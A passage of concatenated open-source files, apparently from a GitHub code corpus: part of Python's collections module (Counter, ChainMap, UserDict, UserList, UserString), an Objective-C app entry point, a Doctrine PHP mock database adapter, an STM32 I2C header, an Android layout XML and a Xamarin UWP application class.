prime_factors.elements(): # loop over factors ... product *= factor # and multiply them >>> product 1836 Note, if an element's count has been set to zero or is a negative number, elements() will ignore it. ''' # Emulate Bag.do from Smalltalk and Multiset.begin from C++. return _chain.from_iterable(_starmap(_repeat, self.items())) # Override dict methods where necessary @classmethod def fromkeys(cls, iterable, v=None): # There is no equivalent method for counters because setting v=1 # means that no element can have a count greater than one. raise NotImplementedError( 'Counter.fromkeys() is undefined. Use Counter(iterable) instead.') def update(*args, **kwds): '''Like dict.update() but add counts instead of replacing them. Source can be an iterable, a dictionary, or another Counter instance. >>> c = Counter('which') >>> c.update('witch') # add elements from another iterable >>> d = Counter('watch') >>> c.update(d) # add elements from another counter >>> c['h'] # four 'h' in which, witch, and watch 4 ''' # The regular dict.update() operation makes no sense here because the # replace behavior results in the some of original untouched counts # being mixed-in with all of the other counts for a mismash that # doesn't have a straight-forward interpretation in most counting # contexts. Instead, we implement straight-addition. Both the inputs # and outputs are allowed to contain zero and negative counts. if not args: raise TypeError("descriptor 'update' of 'Counter' object " "needs an argument") self, *args = args if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) iterable = args[0] if args else None if iterable is not None: if isinstance(iterable, Mapping): if self: self_get = self.get for elem, count in iterable.items(): self[elem] = count + self_get(elem, 0) else: super(Counter, self).update(iterable) # fast path when counter is empty else: _count_elements(self, iterable) if kwds: self.update(kwds) def subtract(*args, **kwds): '''Like dict.update() but subtracts counts instead of replacing them. Counts can be reduced below zero. Both the inputs and outputs are allowed to contain zero and negative counts. Source can be an iterable, a dictionary, or another Counter instance. >>> c = Counter('which') >>> c.subtract('witch') # subtract elements from another iterable >>> c.subtract(Counter('watch')) # subtract elements from another counter >>> c['h'] # 2 in which, minus 1 in witch, minus 1 in watch 0 >>> c['w'] # 1 in which, minus 1 in witch, minus 1 in watch -1 ''' if not args: raise TypeError("descriptor 'subtract' of 'Counter' object " "needs an argument") self, *args = args if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) iterable = args[0] if args else None if iterable is not None: self_get = self.get if isinstance(iterable, Mapping): for elem, count in iterable.items(): self[elem] = self_get(elem, 0) - count else: for elem in iterable: self[elem] = self_get(elem, 0) - 1 if kwds: self.subtract(kwds) def copy(self): 'Return a shallow copy.' return self.__class__(self) def __reduce__(self): return self.__class__, (dict(self),) def __delitem__(self, elem): 'Like dict.__delitem__() but does not raise KeyError for missing values.' if elem in self: super().__delitem__(elem) def __repr__(self): if not self: return '%s()' % self.__class__.__name__ try: items = ', '.join(map('%r: %r'.__mod__, self.most_common())) return '%s({%s})' % (self.__class__.__name__, items) except TypeError: # handle case where values are not orderable return '{0}({1!r})'.format(self.__class__.__name__, dict(self)) # Multiset-style mathematical operations discussed in: # Knuth TAOCP Volume II section 4.6.3 exercise 19 # and at http://en.wikipedia.org/wiki/Multiset # # Outputs guaranteed to only include positive counts. # # To strip negative and zero counts, add-in an empty counter: # c += Counter() def __add__(self, other): '''Add counts from two counters. >>> Counter('abbb') + Counter('bcc') Counter({'b': 4, 'c': 2, 'a': 1}) ''' if not isinstance(other, Counter): return NotImplemented result = Counter() for elem, count in self.items(): newcount = count + other[elem] if newcount > 0: result[elem] = newcount for elem, count in other.items(): if elem not in self and count > 0: result[elem] = count return result def __sub__(self, other): ''' Subtract count, but keep only results with positive counts. >>> Counter('abbbc') - Counter('bccd') Counter({'b': 2, 'a': 1}) ''' if not isinstance(other, Counter): return NotImplemented result = Counter() for elem, count in self.items(): newcount = count - other[elem] if newcount > 0: result[elem] = newcount for elem, count in other.items(): if elem not in self and count < 0: result[elem] = 0 - count return result def __or__(self, other): '''Union is the maximum of value in either of the input counters. >>> Counter('abbb') | Counter('bcc') Counter({'b': 3, 'c': 2, 'a': 1}) ''' if not isinstance(other, Counter): return NotImplemented result = Counter() for elem, count in self.items(): other_count = other[elem] newcount = other_count if count < other_count else count if newcount > 0: result[elem] = newcount for elem, count in other.items(): if elem not in self and count > 0: result[elem] = count return result def __and__(self, other): ''' Intersection is the minimum of corresponding counts. >>> Counter('abbb') & Counter('bcc') Counter({'b': 1}) ''' if not isinstance(other, Counter): return NotImplemented result = Counter() for elem, count in self.items(): other_count = other[elem] newcount = count if count < other_count else other_count if newcount > 0: result[elem] = newcount return result def __pos__(self): 'Adds an empty counter, effectively stripping negative and zero counts' result = Counter() for elem, count in self.items(): if count > 0: result[elem] = count return result def __neg__(self): '''Subtracts from an empty counter. Strips positive and zero counts, and flips the sign on negative counts. ''' result = Counter() for elem, count in self.items(): if count < 0: result[elem] = 0 - count return result def _keep_positive(self): '''Internal method to strip elements with a negative or zero count''' nonpositive = [elem for elem, count in self.items() if not count > 0] for elem in nonpositive: del self[elem] return self def __iadd__(self, other): '''Inplace add from another counter, keeping only positive counts. >>> c = Counter('abbb') >>> c += Counter('bcc') >>> c Counter({'b': 4, 'c': 2, 'a': 1}) ''' for elem, count in other.items(): self[elem] += count return self._keep_positive() def __isub__(self, other): '''Inplace subtract counter, but keep only results with positive counts. >>> c = Counter('abbbc') >>> c -= Counter('bccd') >>> c Counter({'b': 2, 'a': 1}) ''' for elem, count in other.items(): self[elem] -= count return self._keep_positive() def __ior__(self, other): '''Inplace union is the maximum of value from either counter. >>> c = Counter('abbb') >>> c |= Counter('bcc') >>> c Counter({'b': 3, 'c': 2, 'a': 1}) ''' for elem, other_count in other.items(): count = self[elem] if other_count > count: self[elem] = other_count return self._keep_positive() def __iand__(self, other): '''Inplace intersection is the minimum of corresponding counts. >>> c = Counter('abbb') >>> c &= Counter('bcc') >>> c Counter({'b': 1}) ''' for elem, count in self.items(): other_count = other[elem] if other_count < count: self[elem] = other_count return self._keep_positive() ######################################################################## ### ChainMap ######################################################################## class ChainMap(MutableMapping): ''' A ChainMap groups multiple dicts (or other mappings) together to create a single, updateable view. The underlying mappings are stored in a list. That list is public and can be accessed or updated using the *maps* attribute. There is no other state. Lookups search the underlying mappings successively until a key is found. In contrast, writes, updates, and deletions only operate on the first mapping. ''' def __init__(self, *maps): '''Initialize a ChainMap by setting *maps* to the given mappings. If no mappings are provided, a single empty dictionary is used. ''' self.maps = list(maps) or [{}] # always at least one map def __missing__(self, key): raise KeyError(key) def __getitem__(self, key): for mapping in self.maps: try: return mapping[key] # can't use 'key in mapping' with defaultdict except KeyError: pass return self.__missing__(key) # support subclasses that define __missing__ def get(self, key, default=None): return self[key] if key in self else default def __len__(self): return len(set().union(*self.maps)) # reuses stored hash values if possible def __iter__(self): return iter(set().union(*self.maps)) def __contains__(self, key): return any(key in m for m in self.maps) def __bool__(self): return any(self.maps) @_recursive_repr() def __repr__(self): return '{0.__class__.__name__}({1})'.format( self, ', '.join(map(repr, self.maps))) @classmethod def fromkeys(cls, iterable, *args): 'Create a ChainMap with a single dict created from the iterable.' return cls(dict.fromkeys(iterable, *args)) def copy(self): 'New ChainMap or subclass with a new copy of maps[0] and refs to maps[1:]' return self.__class__(self.maps[0].copy(), *self.maps[1:]) __copy__ = copy def new_child(self, m=None): # like Django's Context.push() '''New ChainMap with a new map followed by all previous maps. If no map is provided, an empty dict is used. ''' if m is None: m = {} return self.__class__(m, *self.maps) @property def parents(self): # like Django's Context.pop() 'New ChainMap from maps[1:].' return self.__class__(*self.maps[1:]) def __setitem__(self, key, value): self.maps[0][key] = value def __delitem__(self, key): try: del self.maps[0][key] except KeyError: raise KeyError('Key not found in the first mapping: {!r}'.format(key)) def popitem(self): 'Remove and return an item pair from maps[0]. Raise KeyError is maps[0] is empty.' try: return self.maps[0].popitem() except KeyError: raise KeyError('No keys found in the first mapping.') def pop(self, key, *args): 'Remove *key* from maps[0] and return its value. Raise KeyError if *key* not in maps[0].' try: return self.maps[0].pop(key, *args) except KeyError: raise KeyError('Key not found in the first mapping: {!r}'.format(key)) def clear(self): 'Clear maps[0], leaving maps[1:] intact.' self.maps[0].clear() ################################################################################ ### UserDict ################################################################################ class UserDict(MutableMapping): # Start by filling-out the abstract methods def __init__(*args, **kwargs): if not args: raise TypeError("descriptor '__init__' of 'UserDict' object " "needs an argument") self, *args = args if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) if args: dict = args[0] elif 'dict' in kwargs: dict = kwargs.pop('dict') import warnings warnings.warn("Passing 'dict' as keyword argument is deprecated", DeprecationWarning, stacklevel=2) else: dict = None self.data = {} if dict is not None: self.update(dict) if len(kwargs): self.update(kwargs) def __len__(self): return len(self.data) def __getitem__(self, key): if key in self.data: return self.data[key] if hasattr(self.__class__, "__missing__"): return self.__class__.__missing__(self, key) raise KeyError(key) def __setitem__(self, key, item): self.data[key] = item def __delitem__(self, key): del self.data[key] def __iter__(self): return iter(self.data) # Modify __contains__ to work correctly when __missing__ is present def __contains__(self, key): return key in self.data # Now, add the methods in dicts but not in MutableMapping def __repr__(self): return repr(self.data) def copy(self): if self.__class__ is UserDict: return UserDict(self.data.copy()) import copy data = self.data try: self.data = {} c = copy.copy(self) finally: self.data = data c.update(self) return c @classmethod def fromkeys(cls, iterable, value=None): d = cls() for key in iterable: d[key] = value return d ################################################################################ ### UserList ################################################################################ class UserList(MutableSequence): """A more or less complete user-defined wrapper around list objects.""" def __init__(self, initlist=None): self.data = [] if initlist is not None: # XXX should this accept an arbitrary sequence? if type(initlist) == type(self.data): self.data[:] = initlist elif isinstance(initlist, UserList): self.data[:] = initlist.data[:] else: self.data = list(initlist) def __repr__(self): return repr(self.data) def __lt__(self, other): return self.data < self.__cast(other) def __le__(self, other): return self.data <= self.__cast(other) def __eq__(self, other): return self.data == self.__cast(other) def __gt__(self, other): return self.data > self.__cast(other) def __ge__(self, other): return self.data >= self.__cast(other) def __cast(self, other): return other.data if isinstance(other, UserList) else other def __contains__(self, item): return item in self.data def __len__(self): return len(self.data) def __getitem__(self, i): return self.data[i] def __setitem__(self, i, item): self.data[i] = item def __delitem__(self, i): del self.data[i] def __add__(self, other): if isinstance(other, UserList): return self.__class__(self.data + other.data) elif isinstance(other, type(self.data)): return self.__class__(self.data + other) return self.__class__(self.data + list(other)) def __radd__(self, other): if isinstance(other, UserList): return self.__class__(other.data + self.data) elif isinstance(other, type(self.data)): return self.__class__(other + self.data) return self.__class__(list(other) + self.data) def __iadd__(self, other): if isinstance(other, UserList): self.data += other.data elif isinstance(other, type(self.data)): self.data += other else: self.data += list(other) return self def __mul__(self, n): return self.__class__(self.data*n) __rmul__ = __mul__ def __imul__(self, n): self.data *= n return self def append(self, item): self.data.append(item) def insert(self, i, item): self.data.insert(i, item) def pop(self, i=-1): return self.data.pop(i) def remove(self, item): self.data.remove(item) def clear(self): self.data.clear() def copy(self): return self.__class__(self) def count(self, item): return self.data.count(item) def index(self, item, *args): return self.data.index(item, *args) def reverse(self): self.data.reverse() def sort(self, *args, **kwds): self.data.sort(*args, **kwds) def extend(self, other): if isinstance(other, UserList): self.data.extend(other.data) else: self.data.extend(other) ################################################################################ ### UserString ################################################################################ class UserString(Sequence): def __init__(self, seq): if isinstance(seq, str): self.data = seq elif isinstance(seq, UserString): self.data = seq.data[:] else: self.data = str(seq) def __str__(self): return str(self.data) def __repr__(self): return repr(self.data) def __int__(self): return int(self.data) def __float__(self): return float(self.data) def __complex__(self): return complex(self.data) def __hash__(self): return hash(self.data) def __getnewargs__(self): return (self.data[:],) def __eq__(self, string): if isinstance(string, UserString): return self.data == string.data return self.data == string def __lt__(self, string): if isinstance(string, UserString): return self.data < string.data return self.data < string def __le__(self, string): if isinstance(string, UserString): return self.data <= string.data return self.data <= string def __gt__(self, string): if isinstance(string, UserString): return self.data > string.data return self.data > string def __ge__(self, string): if isinstance(string, UserString): return self.data >= string.data return self.data >= string def __contains__(self, char): if isinstance(char, UserString): char = char.data return char in self.data def __len__(self): return len(self.data) def __getitem__(self, index): return self.__class__(self.data[index]) def __add__(self, other): if isinstance(other, UserString): return self.__class__(self.data + other.data) elif isinstance(other, str): return self.__class__(self.data + other) return self.__class__(self.data + str(other)) def __radd__(self, other): if isinstance(other, str): return self.__class__(other + self.data) return self.__class__(str(other) + self.data) def __mul__(self, n): return self.__class__(self.data*n) __rmul__ = __mul__ def __mod__(self, args): return self.__class__(self.data % args) def __rmod__(self, format): return self.__class__(format % args) # the following methods are defined in alphabetical order: def capitalize(self): return self.__class__(self.data.capitalize()) def casefold(self): return self.__class__(self.data.casefold()) def center(self, width, *args): return self.__class__(self.data.center(width, *args)) def count(self, sub, start=0, end=_sys.maxsize): if isinstance(sub, UserString): sub = sub.data return self.data.count(sub, start, end) def encode(self, encoding=None, errors=None): # XXX improve this? if encoding: if errors: return self.__class__(self.data.encode(encoding, errors)) return self.__class__(self.data.encode(encoding)) return self.__class__(self.data.encode()) def endswith(self, suffix, start=0, end=_sys.maxsize): return self.data.endswith(suffix, start, end) def expandtabs(self, tabsize=8): return self.__class__(self.data.expandtabs(tabsize)) def find(self, sub, start=0, end=_sys.maxsize): if isinstance(sub, UserString): sub = sub.data return self.data.find(sub, start, end) def format(self, *args, **kwds): return self.data.format(*args, **kwds) def format_map(self, mapping): return self.data.format_map(mapping) def index(self, sub, start=0, end=_sys.maxsize): return self.data.index(sub, start, end) def isalpha(self): return self.data.isalpha() def isalnum(self): return self.data.isalnum() def isdecimal(self): return self.data.isdecimal() def isdigit(self): return self.data.isdigit() def isidentifier(self): return self.data.isidentifier() def islower(self): return self.data.islower() def isnumeric(self): return self.data.isnumeric() def isprintable(self): return self.data.isprintable() def isspace(self): return self.data.isspace() def istitle(self): return self.data.istitle() def isupper(self): return self.data.isupper() def join(self, seq): return self.data.join(seq) def ljust(self, width, *args): return self.__class__(self.data.ljust(width, *args)) def lower(self): return self.__class__(self.data.lower()) def lstrip(self, chars=None): return self.__class__(self.data.lstrip(chars)) maketrans = str.maketrans def partition(self, sep): return self.data.partition(sep) def replace(self, old, new, maxsplit=-1): if isinstance(old, UserString): old = old.data if isinstance(new, UserString): new = new.data return self.__class__(self.data.replace(old, new, maxsplit)) def rfind(self, sub, start=0, end=_sys.maxsize): if isinstance(sub, UserString): sub = sub.data return self.data.rfind(sub, start, end) def rindex(self, sub, start=0, end=_sys.maxsize): return self.data.rindex(sub, start, end) def rjust(self, width, *args): return self.__class__(self.data.rjust(width, *args)) def rpartition(self, sep): return self.data.rpartition(sep) def rstrip(self, chars=None): return self.__class__(self.data.rstrip(chars)) def split(self, sep=None, maxsplit=-1): return self.data.split(sep, maxsplit) def rsplit(self, sep=None, maxsplit=-1): return self.data.rsplit(sep, maxsplit) def splitlines(self, keepends=False): return self.data.splitlines(keepends) def startswith(self, prefix, start=0, end=_sys.maxsize): return self.data.startswith(prefix, start, end) def strip(self, chars=None): return self.__class__(self.data.strip(chars)) def swapcase(self): return self.__class__(self.data.swapcase()) def title(self): return self.__class__(self.data.title()) def translate(self, *args): return self.__class__(self.data.translate(*args)) def upper(self): return self.__class__(self.data.upper()) def zfill(self, width): return self.__class__(self.data.zfill(width))
{ "pile_set_name": "Github" }
// // main.m // FastImageCacheDemo // // Created by Rui Peres on 17/06/2015. // Copyright (c) 2015 Path. All rights reserved. // #import <UIKit/UIKit.h> #import "FICDAppDelegate.h" int main(int argc, char * argv[]) { @autoreleasepool { return UIApplicationMain(argc, argv, nil, NSStringFromClass([FICDAppDelegate class])); } }
{ "pile_set_name": "Github" }
<?php /* * $Id: Mock.php 7490 2010-03-29 19:53:27Z jwage $ * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * This software consists of voluntary contributions made by many individuals * and is licensed under the LGPL. For more information, see * <http://www.doctrine-project.org>. */ /** * Doctrine mock connection adapter. This class is used for special testing purposes. * * @package Doctrine * @subpackage Adapter * @author Konsta Vesterinen <[email protected]> * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * @link www.doctrine-project.org * @since 1.0 * @version $Revision: 7490 $ */ class Doctrine_Adapter_Mock implements Doctrine_Adapter_Interface, Countable { /** * Name of the dbms to mock * * @var string */ private $_name; /** * Array of queries executed through this instance of the mock adapter * * @var array $queries */ private $_queries = array(); /** * Array of exceptions thrown * * @var array $exceptions */ private $_exception = array(); /** * Bool true/false variable for whether or not the last insert failed * * @var boolean $lastInsertIdFail */ private $_lastInsertIdFail = false; /** * Doctrine mock adapter constructor * * <code> * $conn = new Doctrine_Adapter_Mock('mysql'); * </code> * * @param string $name * @return void */ public function __construct($name = null) { $this->_name = $name; } /** * Get the name of the dbms used in this instance of the mock adapter * * @return string $name Name of the dbms */ public function getName() { return $this->_name; } /** * Pop the last executed query from the array of executed queries and return it * * @return string $sql Last executed sql string */ public function pop() { return array_pop($this->_queries); } /** * Force an exception in to the array of exceptions * * @param string $name Name of exception * @param string $message Message for the exception * @param integer $code Code of the exception * @return void */ public function forceException($name, $message = '', $code = 0) { $this->_exception = array($name, $message, $code); } /** * Prepare a query statement * * @param string $query Query to prepare * @return Doctrine_Adapter_Statement_Mock $mock Mock prepared statement */ public function prepare($query) { $mock = new Doctrine_Adapter_Statement_Mock($this, $query); $mock->queryString = $query; return $mock; } /** * Add query to the stack of executed queries * * @param string $query * @return void */ public function addQuery($query) { $this->_queries[] = $query; } /** * Fake the execution of query and add it to the stack of executed queries * * @param string $query * @return Doctrine_Adapter_Statement_Mock $stmt */ public function query($query) { $this->_queries[] = $query; $e = $this->_exception; if ( ! empty($e)) { $name = $e[0]; $this->_exception = array(); throw new $name($e[1], $e[2]); } $stmt = new Doctrine_Adapter_Statement_Mock($this, $query); $stmt->queryString = $query; return $stmt; } /** * Get all the executed queries * * @return array $queries Array of all executed queries */ public function getAll() { return $this->_queries; } /** * Quote a value for the dbms * * @param string $input * @return string $quoted */ public function quote($input) { return "'" . addslashes($input) . "'"; } /** * Execute a raw sql statement * * @param string $statement * @return void */ public function exec($statement) { $this->_queries[] = $statement; $e = $this->_exception; if ( ! empty($e)) { $name = $e[0]; $this->_exception = array(); throw new $name($e[1], $e[2]); } return 0; } /** * Force last insert to be failed * * @param boolean $fail * @return void */ public function forceLastInsertIdFail($fail = true) { if ($fail) { $this->_lastInsertIdFail = true; } else { $this->_lastInsertIdFail = false; } } /** * Get the id of the last inserted record * * @return integer $id */ public function lastInsertId() { $this->_queries[] = 'LAST_INSERT_ID()'; if ($this->_lastInsertIdFail) { return null; } else { return 1; } } /** * Get the number of queries executed * * @return integer $count */ public function count() { return count($this->_queries); } /** * Begin a transaction * * @return void */ public function beginTransaction() { $this->_queries[] = 'BEGIN TRANSACTION'; } /** * Commit a transaction * * @return void */ public function commit() { $this->_queries[] = 'COMMIT'; } /** * Rollback a transaction * * @return void */ public function rollBack() { $this->_queries[] = 'ROLLBACK'; } public function getAttribute($attribute) { if ($attribute == Doctrine_Core::ATTR_DRIVER_NAME) { return strtolower($this->_name); } } public function errorCode() { } public function errorInfo() { } public function setAttribute($attribute, $value) { } public function sqliteCreateFunction() { } }
{ "pile_set_name": "Github" }
/** ****************************************************************************** * File Name : I2C.h * Description : This file provides code for the configuration * of the I2C instances. ****************************************************************************** * @attention * * <h2><center>&copy; Copyright (c) 2019 STMicroelectronics. * All rights reserved.</center></h2> * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ****************************************************************************** */ /* Define to prevent recursive inclusion -------------------------------------*/ #ifndef __i2c_H #define __i2c_H #ifdef __cplusplus extern "C" { #endif /* Includes ------------------------------------------------------------------*/ #include "main.h" /* USER CODE BEGIN Includes */ /* USER CODE END Includes */ extern I2C_HandleTypeDef hi2c1; /* USER CODE BEGIN Private defines */ /* USER CODE END Private defines */ void MX_I2C1_Init(void); /* USER CODE BEGIN Prototypes */ /* USER CODE END Prototypes */ #ifdef __cplusplus } #endif #endif /*__ i2c_H */ /** * @} */ /** * @} */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <android.support.v7.widget.RecyclerView xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" android:id="@id/weekdays_recycler_view" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="center" app:layout_behavior="@string/appbar_scrolling_view_behavior" />
{ "pile_set_name": "Github" }
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Runtime.InteropServices.WindowsRuntime; using Windows.ApplicationModel; using Windows.ApplicationModel.Activation; using Windows.Foundation; using Windows.Foundation.Collections; using Windows.UI.Xaml; using Windows.UI.Xaml.Controls; using Windows.UI.Xaml.Controls.Primitives; using Windows.UI.Xaml.Data; using Windows.UI.Xaml.Input; using Windows.UI.Xaml.Media; using Windows.UI.Xaml.Navigation; namespace MadTeaParty.UWP { /// <summary> /// Provides application-specific behavior to supplement the default Application class. /// </summary> sealed partial class App : Application { /// <summary> /// Initializes the singleton application object. This is the first line of authored code /// executed, and as such is the logical equivalent of main() or WinMain(). /// </summary> public App() { this.InitializeComponent(); this.Suspending += OnSuspending; } /// <summary> /// Invoked when the application is launched normally by the end user. Other entry points /// will be used such as when the application is launched to open a specific file. /// </summary> /// <param name="e">Details about the launch request and process.</param> protected override void OnLaunched(LaunchActivatedEventArgs e) { #if DEBUG if (System.Diagnostics.Debugger.IsAttached) { this.DebugSettings.EnableFrameRateCounter = true; } #endif Frame rootFrame = Window.Current.Content as Frame; // Do not repeat app initialization when the Window already has content, // just ensure that the window is active if (rootFrame == null) { // Create a Frame to act as the navigation context and navigate to the first page rootFrame = new Frame(); rootFrame.NavigationFailed += OnNavigationFailed; Xamarin.Forms.Forms.Init(e); if (e.PreviousExecutionState == ApplicationExecutionState.Terminated) { //TODO: Load state from previously suspended application } // Place the frame in the current Window Window.Current.Content = rootFrame; } if (rootFrame.Content == null) { // When the navigation stack isn't restored navigate to the first page, // configuring the new page by passing required information as a navigation // parameter rootFrame.Navigate(typeof(MainPage), e.Arguments); } // Ensure the current window is active Window.Current.Activate(); } /// <summary> /// Invoked when Navigation to a certain page fails /// </summary> /// <param name="sender">The Frame which failed navigation</param> /// <param name="e">Details about the navigation failure</param> void OnNavigationFailed(object sender, NavigationFailedEventArgs e) { throw new Exception("Failed to load Page " + e.SourcePageType.FullName); } /// <summary> /// Invoked when application execution is being suspended. Application state is saved /// without knowing whether the application will be terminated or resumed with the contents /// of memory still intact. /// </summary> /// <param name="sender">The source of the suspend request.</param> /// <param name="e">Details about the suspend request.</param> private void OnSuspending(object sender, SuspendingEventArgs e) { var deferral = e.SuspendingOperation.GetDeferral(); //TODO: Save application state and stop any background activity deferral.Complete(); } } }
{ "pile_set_name": "Github" }